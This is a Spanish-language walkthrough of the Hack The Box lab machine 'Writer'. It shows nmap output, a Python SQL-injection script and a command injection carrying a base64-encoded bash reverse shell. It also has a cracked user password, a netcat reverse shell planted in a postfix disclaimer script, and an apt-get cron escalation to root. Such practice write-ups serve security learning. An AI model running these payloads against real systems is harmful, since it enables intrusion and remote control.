Writer - Hack The Box

Maquina: Writer. Vulnerabilidad: Sql injection union based Escalada de privilegios: Escalando de www-data a Kyle descifrando hashes en la base de datos,Escalating from Kyle to John by poisoning postfix/disclaimer file,Escalando de John a root mediante la explotación de apt-get

Enumeración

Para comenzar aplicamos una simple enumeracion para saber con lo que nos estamos enfrentando.

Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-03 10:38 -03
Nmap scan report for 10.10.11.101
Host is up (0.24s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| :smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-09-03T13:39:11
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds 

Fuzzing

Aplicamos fuzzing y encontramos lo siguiente.

Nos dirijimos hacia Administrative y nos encontramos un panel de login, probamos una inyección tipica y logramos entrar.

Inyeccion

En el panel de login probamos una inyección de tipo unión based, y inspeccionamos el código fuente antes que se haga el redirect, y vemos que al lado de admin se refleja un 2.

Nos creamos un script en python3.

#!/usr/bin/python3
def injection():
    data_post = {'uname':payload,'password':"pwned"}
    r = requests.post(main_url,data=data_post,allow_redirects=False)
    regex = re.findall(r"<h3 class=\"animation-slide-top\">(.*?)</h3>",r.text)
    print(regex)
if __name__ == '__main__':
    import requests,re
    while True:
        payload = input('_>')
        main_url = "http://writer.htb/administrative"
        injection()

Listamos las tablas una por una.

Extraemos un username y una password, y algunas cosas más, pero dicha información no es útil.

Por una extraña razón no podemos leer archivos mediante nuestro script, procedemos a usar burpsuite, sacamos la ruta de los archivos de la página a través del /etc/apache2/sites-enabled/000-default.conf

Intuimos que está corriendo flask y buscamos el init.py , aplicamos una expresión regular para que todo quede más prolijo.

Ahora empezamos a buscar vías de acceso para aplicar una ejecución de comandos, y encontramos lo siguiente.

Entendemos como está gestionando la subida de una imagen a la web entonces procedemos a ser lo siguiente.

  1. Ingresamos a la web, y subimos un archivo desde ella
  2. Luego desde image_url indicamos con un wrapper a dicho archivo en este caso file:///var/www/writer.htb/writer/static/img/pwned.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0MyAwPiYxCg==|base64 -d|bash;
  3. Nos ponemos en escucha de dicho puerto.

Elevacion de Privilegios

Cuando entramos en el sistema nos dirijimos a writer2_project y vemos un archivo manager.py, gracias a este archivo podemos acceder a la base de datos de forma automática.

Obtenemos un hash y procedemos a crackearlo. Nos da una password que es la del usuario kyle.Nos logiamos como dicho usuario.

www-data@writer:/var/www/writer2_project$ su kyle 
Password: marcoantonio
kyle@writer:/var/www/writer2_project$

Vemos a que grupo pertenece

Al parece esta ejecutando el script /etc/postfix/disclaimer como john para recibir correos electrónicos.Podemos escribir en este script:

Vemos este script que esta relacionado a envío de correos, entonces empezamos a probar cosas.

#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Nos creamos un script en python para mandar un email.

import smtplib, ssl

smtp_server = "127.0.0.1"
port = 25  # For starttls
sender_email = "kyle@writer.htb"
receiver_email = "kyle@writer.htb"
message= "pwned"
try:
    server = smtplib.SMTP(smtp_server,port)
    server.sendmail(sender_email,receiver_email,message)
except Exception as e:
    # Print any error messages to stdout
    print(e)
finally:
    server.quit() 

Modificamos el script disclaimer

#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses


# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
```python

from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Tenemos acceso como john.

Monitorizamos procesos con el pspy y nos encontramos lo siguiente.

2022/09/05 13:52:01 CMD: UID=0    PID=56628  | /usr/sbin/CRON -f 
2022/09/05 13:52:01 CMD: UID=0    PID=56630  | /bin/sh -c /usr/bin/rm /tmp/* 
2022/09/05 13:52:01 CMD: UID=0    PID=56633  | /usr/bin/rm /tmp/snap.lxd /tmp/systemd-private-d437f1cd327f486ebd4576b578729db0-apache2.service-xz0B4g /tmp/systemd-private-d437f1cd327f486ebd4576b578729db0-systemd-logind.service-VG9Gvj /tmp/systemd-private-d437f1cd327f486ebd4576b578729db0-systemd-resolved.service-Imnx0f /tmp/systemd-private-d437f1cd327f486ebd4576b578729db0-systemd-timesyncd.service-ezY58f /tmp/systemd-private-d437f1cd327f486ebd4576b578729db0-upower.service-7syJah /tmp/vmware-root_764-2999067644 
2022/09/05 13:52:01 CMD: UID=0    PID=56632  | 
2022/09/05 13:52:01 CMD: UID=0    PID=56631  | /bin/sh -c /usr/bin/cp -r /root/.scripts/writer2_project /var/www/ 
2022/09/05 13:52:01 CMD: UID=0    PID=56635  | 
2022/09/05 13:52:01 CMD: UID=0    PID=56634  | /usr/bin/cp -r /root/.scripts/writer2_project /var/www/ 
2022/09/05 13:52:01 CMD: UID=0    PID=56637  | /usr/sbin/CRON -f 
2022/09/05 13:52:01 CMD: UID=0    PID=56636  | /usr/sbin/CRON -f 
2022/09/05 13:52:01 CMD: UID=0    PID=56639  | /bin/sh -c /usr/bin/apt-get update 
2022/09/05 13:52:01 CMD: UID=0    PID=56638  | /bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \; 
2022/09/05 13:52:01 CMD: UID=0    PID=56640  | /usr/bin/apt-get update 
2022/09/05 13:52:01 CMD: UID=0    PID=56642  | /usr/lib/apt/methods/http 
2022/09/05 13:52:01 CMD: UID=33   PID=56643  | /usr/bin/python3 mana

El usuario root hace un apt-get update, procedimos a encontrar vías de explótacion a dicho apt-get.Según el artículo si subimos un archivo modificado a /etc/apt/apt.conf.d/ podemos ejecutar un comando.Y pum tenemoms acceso como root.